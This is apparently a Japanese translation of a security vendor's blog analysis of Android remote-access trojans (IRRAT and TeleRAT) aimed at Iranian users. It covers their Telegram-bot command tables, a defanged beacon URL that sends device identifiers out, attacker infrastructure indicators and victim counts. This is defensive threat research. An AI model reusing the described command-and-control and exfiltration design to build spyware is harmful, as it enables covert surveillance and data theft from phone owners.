This post is also available in: English (英語)
概要
TelegramのボットAPIを悪用し、イラン人を標的にするAndroidマルウェアは初めてのケースではありません。この手法を利用したトロイの木馬の出現については、2017年6月および7月に議論されています。Telegramボットは、セットアップに追加の電話番号を必要としない特別なアカウントで、一般的には外部サービスのコンテンツによってTelegramチャットを強化したり、カスタマイズされた通知やニュースを取得したりするために使用されます。わたしたちは、これらのTelegramボットが悪意のあるAndroidアプリケーションのコマンド&コントロールにどのように利用されたか、調査を開始しました。
このブログでは、いくつかの運用上のセキュリティ(OPSEC)の失敗を検索し、「TeleRAT」と弊社が命名した新しいトロイの木馬の発見も含めて、TelegramのボットAPIを利用した悪意のある複数のAPK亜種をふるいにかけることで得た弊社の知見について詳しく取り上げます。TeleRATは、IRRATとは異なり、コマンド&コントロール(C2)にTelegramのボットAPIを利用するだけでなく、データ流出にも利用します。
IRRATについて既知の情報
前のレポートによれば、TelegramのボットAPIは、SMSおよび通話履歴からファイル リストまで、感染したAndroidデバイスからさまざまな情報を窃取するために攻撃者によって利用されていたことがわかっています。観測した大半のアプリは、Telegramプロファイルが受け取ったビューの数を通知するアプリを装います。言うまでもなく、Telegramではそのような情報を取り込むことができないため、提供される情報は正確ではありません。
IRRATは、現在にいたるまで、継続して活動中であることが確認されています。
この分析では以下のサンプルを使用しました。
SHA256 | 1d0770ac48f8661a5d1595538c60710f886c254205b8cf517e118c94b256137d |
TeleRATは、電話のSDカードに以下のファイルを作成して取り込み、アプリの初回起動後にそれらをアップロード サーバーに送信することによって動作します。
- [IMEI] numbers.txt: 連絡先情報
- [IMEI]acc.txt: 電話に登録されているGoogleアカウントのリスト
- [IMEI]sms.txt: SMS履歴
- 1.jpg: 前面カメラで撮影した写真
- Image.jpg: 背面カメラで撮影した写真
最終的に、以下のビーコンと一緒にTelegramボットにレポートを戻します(Telegramボットは各RATのソース コードにハードコードされたボットIDによって識別されます)。アプリケーション アイコンは電話のアプリ メニューに表示されなくなります。
hxxp://api.telegram.org/bot[APIKey]/sendmessage?chat_id=[ChatID]?text=نصب جدید\n [IMEI] \nIMEI : :[IMEI]\nAndroid ID : [AndroidID]\nModel : [PhoneModel]\n[IP] \n\nIMEI دستگاه: [IMEI]
アプリは、バックグラウンドで、一定間隔でTelegramボットに信号を送り続け、以下のような特定のコマンドをリッスンします。
コマンド | アクション | Telegramボットへの通信 |
call@[IMEI]@[Number] | [Number]に電話をかける | hxxps://api.telegram.org/bot[APIKey]/sendmessage?chat_id=[ChatID]&text=call with [Number] |
sms@[IMEI]@[Number]@[Text] | SMSで[Text]を[Number]に送る | hxxps://api.telegram.org/bot[APIKey] /sendmessage?chat_id=[ChatID]&text=sent |
getapps@[IMEI] | インストールされているアプリのリストをSDカードに[IMEI] apps.txtというファイル名で保存し、アップロード サーバーにアップロードする | なし |
getfiles@[IMEI]@[DirPath] | [DirPath]からファイル リストを取得し、[IMEI]files.txtという名前でSDカードに保存し、サーバーにアップロードする | なし |
getloc@[IMEI] | 位置の変更を監視するGPSリスナーを開始する | なし |
upload@[IMEI]@[FilePath] | ファイルを[FilePath]にアップロードする | なし |
removeA@[IMEI]@[FilePath on SDCard] | [FilePath on SDCard]のファイルを削除する | https://api.telegram.org/bot[APIKey]/sendmessage?chat_id=[ChatID]&text= ______________[FilePath on SDCard] |
removeB@[IMEI]@[DirPath on SDCard] | [DirPath on SDCard]を削除する | なし |
lstmsg@[IMEI] | SMS履歴を[IMEI]lstmsg.txtという名前でSDカードに保存し、サーバーにアップロードする | なし |
yehoo@[IMEI] | 前面カメラで写真を撮影し、yahoo.jpgという名前でSDカードに保存して、サーバーにアップロードする | なし |
表1: IRRATボット コマンドのリスト
上記の表のとおり、このIRRATサンプルは、感染したデバイスに対するコマンド通信のためだけに、TelegramのボットAPIを利用しています。窃取したデータは第三者のサーバーにアップロードされ、これらのサーバーの一部はWebホスティング サービスを利用しています。幸いなことに、これらのサーバーにはいくつかのOPSECの失敗がありました。詳細は後述します。
新しいファミリ - TeleRAT
AutoFocusを使用して、IRRATサンプルをふるいにかけた結果、Android RATの新しいファミリを発見しました。これは、発生元と標的のいずれか、あるいは両方が、イランの個人を対象にしていると思われ、Telegram APIをC2のためだけでなく、窃取した情報の流出にも使用しているようです。
図1: TelegramボットAPIを使用したアプリケーションの、AutoFocusにおける検索
弊社は、このファミリが感染したデバイス上に作成するファイルの1つの名前から、新しいファミリを「TeleRAT」と命名しました。
この分析では以下のサンプルを使用しました。
SHA256 | 01fef43c059d6b37be7faf47a08eccbf76cf7f050a7340ac2cae11942f27eb1d |
- TeleRATは、インストール後に、アプリの内部ディレクトリに次の2つのファイルを作成します。telerat2.txtには、デバイスに関する豊富な情報が含まれています。システム ブートローダのバージョン番号、内部メモリおよび外部メモリの合計サイズと使用可能サイズ、コア数などの情報です。
- thisapk_slm.txtには、Telegramチャネルおよびコマンド リストが含まれています。このTelegramチャネルについては、後で詳しく説明します。
RATは、テレグラム ボットAPIを使用して現在の日付と時刻を付けてテレグラム ボットにメッセージを送信することによって、攻撃者へのインストールに成功したと通知しています。
さらに興味深いことに、RATはクリップボードに行われた変更をバックグラウンドでリッスンするサービスを始めています。
図2: クリップボードの変更をリッスンするコード
最後に、このアプリは、テレグラム ボットAPIから4.6秒毎に更新を取得し、以下のコマンドをリッスンしています(私たちはGoogle翻訳を使用して以下のペルシャ語を翻訳しました)。
コマンド | 翻訳 |
دریافت مخاطبین | Get contacts(接続の取得) |
دریافت کلیپ بورد | Get the clipboard(クリップボードの取得) |
Clipboard set:[text] | |
دریافت مکان | Get location(ロケーションの取得) |
دریافت اطلاعات شارژ | Receive charging information(充電情報の受信) |
All file list:/[path] | |
Root file list:/[path] | |
دریافت برنامه ها | Get apps(アプリの取得) |
1Downloadfile/[filename] | |
2Downloadfile/[filename] | |
CreateContact/[name]/[number] | |
SetWallpaper http[URL] | |
دریافت پیام ها | Receive (SMS) messages((SMS)メッセージの受信) |
Sendsmsfor/[destination]/[text] | |
MessageShow[text] | |
گرفتن عکس1 | Take photo 1 (front camera)(写真撮影1(前面カメラ)) |
گرفتن عکس2 | Take photo 2 (back camera)(写真撮影2(背面カメラ)) |
دریافت وضعیت | Get status(ステータス取得) |
دریافت تماس ها | Receive calls(電話受信) |
DeleteDir[dirname] | |
سایلنت | Silent(サイレント)(バイブレーション モードに設定) |
صدادار | Loud(ラウド)(通常の呼出音モードに設定) |
بیصدا | Silent(サイレント)(サイレント モードに設定) |
Blacksc | Blacks out phone screen(電話画面をブラックアウト) |
Blackscf | Clears black screen(ブラック画面をクリア) |
ضبط فیلم | Audio recording(音声録音)(録音した音声をAUDIO123/MUSIC/rec123.m4a形式でSDカードに保存) |
توقف ضبط فیلم | Stop audio recording(音声録音の停止) |
راهنمای دستورات | Instruction manual(操作マニュアル)(ヘルプ メニュー) |
call to [number] | |
RESET | (thisapk_slm.txtを削除し、新しい登録メッセージをテレグラム ボットに送信) |
دریافت گالری | Get gallery(ギャラリーを取得)(ファイルをSDカードの/Dcimフォルダからテレグラム ボットに送信) |
Delete app files or دریافت گالری | |
Vibrate [x] | (x秒間電話をバイブレーション、最大値は600秒) |
لرزش کم | Low vibration(低バイブレーション)(150秒) |
لرزش متوسط | Medium vibration(中バイブレーション)(350秒) |
لرزش زیاد | Shake too much(高バイブレーション)(600秒) |
表2: TeleRATボットのコマンドのリスト
追加のコマンドを除くと、この新しいファミリのIRRATとの主な違いは、テレグラムのsendDocument APIメソッドを使用して漏洩データもアップロードすることです。
図3: SendDocumentテレグラム ボットAPIメソッドの使用を示すコード
TeleRATは、すべての通信(アップロードを含む)がテレグラム ボットAPIを介して実行されるため、既知のアップロード サーバーへのトラフィックに基づくネットワークベースの検知の可能性を排除しているという点でIRRATのアップグレード版です。ただし、APIキーがAPKでハードコード化されているため、テレグラムのボットAPIを介したその他のドアは開いたままになっています。
このAPIを使用すると、次の2つの方法で更新を取得できます。
1. getUpdatesメソッド: これを使用すると、ボットに送信されたすべてのコマンドの履歴が明らかになります。これにはコマンド送信元のユーザー名も含まれます。まだ応答していて、更新履歴(テレグラムのポリシーによって受信更新が保持されるのは24時間のみです)を持つボットから、4つのテレグラム アカウント(下記)が送信元であるボット コマンドを見つけることができました。
図4: ボット コマンド履歴から明らかになったテレグラムのユーザー名
2. Webhookの使用: テレグラムを使用すると、Webhookで指定したURLにすべてのボット更新をリダイレクトできます。テレグラムのポリシーによってこれらのWebhookはHTTPS URLのみに制限されています。私たちが見つけたWebhookのほとんどはLet's Encryptによって発行された特定の登録情報のない証明書を使用していましたが、一部は、サードパーティのWebホスティングおよびオープン ディレクトリを使用していました。Let's Encryptにはこの利用状況について通知済みです。
私たちが見つけたWebhookのサンプルの一部を以下に示します。特にhxxps://mr-mehran[.]tk/pot/Bot/は6500個に迫るボットをホスティングしているようですが、これらすべてが悪意のある目的で使用されているかどうかは確認できません。
図5: 一部のTeleRATボットに関連することがわかったWebhook
OPSECの失敗、配信チャネルおよび属性
調査中、図6の下半分で写真に撮られたモニタに表示されているテレグラム ボットのインターフェイスから、明らかにRATをテストしている様子のボットマスターの画像が見つかりました。
図 6: RATをテストしているボットマスターの画像
また、テスト実行についての推測を裏付ける流出メッセージを見つけることができました。その中にはボットのセットアップについて討論しているように見えるペルシャ語のスレッドが存在していました。
"صبح ساعت ۶ انلاین شو تا روباته رو امتحان کنیم"
Google翻訳: "Morning 6 hours online to try the robotage"(午前中6時間オンラインにしてロボテージのテスト)
TeleRATの属性を調査していると、開発者がコード内で自分のアイデンティティを隠す努力していないことがわかりました。1人のユーザー名を以下のスクリーンショットに示します。
図7: ソース コードに示されたテレグラム チャネル
'vahidmail67'テレグラム チャネルをさらに詳細に確認すると、アプリケーションおよびこのRAT全体(インスタグラムのいいねやフォロワーを得るアプリケーションからランサムウェア、さらに名前の付いていないRATのソース コード)を実行した作成者の広告を発見しました(以下に示すビデオ チュートリアルを使用して実行)。
図8: RATソースコードを宣伝および共有するテレグラム チャネルからのスクリーンショット
テレグラム チャネルはさておき、特定のTeleRATコンポーネントを探しているときに、テレグラム ボット コントロール ライブラリの販売を宣伝しているイラン人プログラマーのフォーラムで、いくつかの脅威を見つけました。フォーラムには、私たちが出くわしたTeleRATサンプルの大部分で頻繁に再利用されているコードを開発した、数人の開発者が出没しています。
図9: テレグラム ボット コントロール ライブラリの販売用広告
フォーラムは、すべてのコンテンツがイランの法律に従っていることをやたらに強調していますが、ここで宣伝されているコードや、フォーラムを頻繁に利用する開発者が記述したコードの一部(たとえば、クリップボードへの変更をリッスンするためにバックグラウンドで実行されるサービス、前出の図3のコード スニペットに含まれる)は、ほぼすべて悪意のある用途に利用されています。
図10: フォーラムの免責事項
全体として、TeleRATは数人の開発者によって記述されたコードの寄せ集めです。ただし、テレグラム チャネルを介して自由に入手可能なソース コードであり、フォーラムで販売されているため、IRRATまたはTeleRATのいずれかを操っている単一の攻撃者を特定することはできません。おそらくイラン国内で操作している数人の攻撃者による仕業と考えられます。
被害端末について
これらのRATを調査した際に、被害端末がどのように感染したかも調べ始めました。さらに調査すると、たとえば「編み物」など特定の関心を持って使用している他の人を検索してやり取りできるようにする「Telegram Finder」などの、一見正規のアプリケーションを配信しているいくつかのサードパーティのAndroidアプリケーション ストアが存在することが分かりました。また、正規のイランのテレグラム チャネルと不正なイランのテレグラム チャネルの両方を介して配信および共有されているサンプルもいくつか見つかりました。
図11: イランのサードパーティ アプリケーション ストア
悪意のあるAPKを詳しく調べたところ、全般にわたり共通するアプリケーション命名規則と機能を理解できました。
図12: 「Telegram finder」アプリケーション
分析したサンプルから、IRRATとTeleRATの両方に最も共通している3つのアプリケーション名は以下のとおりです。
本来のアプリ名 | 翻訳されたアプリ名 |
پروفایل چکر | Profile Cheer |
بازدید یاب تلگرام | Telegram Finder |
telegram hacker | N/A
|
さらに、「atom vpn」や「vpn for telegram」などのVPNソフトウェアや構成ファイルを偽装した悪意のあるAPKもいくつかありました。
分析したインフラストラクチャから、本記事の執筆時点で特定された被害端末の合計数は2,293台に達しているようです。その82%がイランの電話番号であるため、被害端末は地理的に狭い地域に分布しているようです。
イラン | 1894 |
パキスタン | 10 |
インド | 227 |
アフガニスタン | 109 |
英国 | 53 |
執筆時点では気付かなかった追加のインフラストラクチャや亜種が存在する可能性もあるため、イラン国内に存在する被害端端末の数は、他の国の被害端末の数を大きく上回るものと考えられます。
結論
新しい脅威を詳細に分析し理解する一環として、既によく知られている攻撃活動とマルウェアの亜種を詳しく調べることがあります。今回の調査もまさにその好例です。以前からよく知られているマルウェア ファミリを詳しく調べることで、その現在の機能と変更された可能性のある機能をより的確に理解できました。
テレグラム ボット APIを活用するマルウェアは取り立てて新しいものではありませんが、こうして既知のマルウェア ファミリの調査を行うことにより、新しいファミリのTeleRATを特定することができました。この新しいファミリは、テレグラムAPIの背後に完全に隠され、ネットワークベースの検出を回避してデータを流出させるものでした。調査においては、AutoFocusのインテリジェンス情報、アクセス可能な攻撃者のインフラストラクチャ、その他オープン ソース インテリジェンスも活用して、テレグラムのAPIを利用し、サードパーティのアプリケーション サイトとソーシャル メディア チャネルを介してユーザーを標的にしている進行中の攻撃活動を正確に把握することができました。
Android ユーザーは、次の基本的な予防策を講じ、TeleRATなどの悪意あるアプリケーションから身を守ることをおすすめします。
- サードパーティのアプリケーション ストアやソースは避ける。
- デバイス上でアプリケーション サイドローディングを許可しない。
- 提供元に関係なく、インストールしているアプリケーションが正規版であることを確認する。
- インストール前にアプリケーションの権限要求を詳しく調べる。
Palo Alto Networksのお客様は、以下の製品によってこの脅威から保護されています。
- WildFireはTeleRATおよびIRRATについて、悪意があると判断したファイルすべてを検出します。
- AutoFocusをご使用のお客様は、IRRATおよびTeleRATタグで、これらのサンプルについて調べることができます。
- Trapsは、TeleRATおよびIRRATに関連付けられたすべてのAPKファイルをブロックします。
付録
IRRATまたはTeleRATを操る、検出されたテレグラムユーザー名
Ahmad_ghob |
My_LiFe_M_a_H_s_A |
mmm1230a |
Webhook
hxxps://mr-mehran.tk/pot/Bot/robotcreat2_bot/Bot/Ejsahahbot/ |
hxxps://ib3.ibot24.com/394083/ |
hxxps://rr5.000webhostapp.com/upload_file.php |
hxxps://gold.teleagent.ir/bnrdehisaz/index.php |
hxxps://shahin-soori.ir/bots/rat/upload_file.php |
hxxps://mbosoba.000webhostapp.com/upload_file.php |
hxxps://abolking.000webhostapp.com/upload_file.php |
hxxps://botmohsan-apk.000webhostapp.com/Bot/bot.php |
hxxps://androydiha.ir/bot/Bot/hackelmi_bot/index.php |
hxxps://hamidhamid954321.000webhostapp.com/Bot/bot.php |
hxxps://mohsan024024.000webhostapp.com/upload_file.php |
hxxps://09152104574nazimilad.000webhostapp.com/ربات ساز/CreateBotAll.php |
hxxps://darkforceteam.000webhostapp.com/SmartAccounts_Bot/bots/Ratjadidebot/index.php |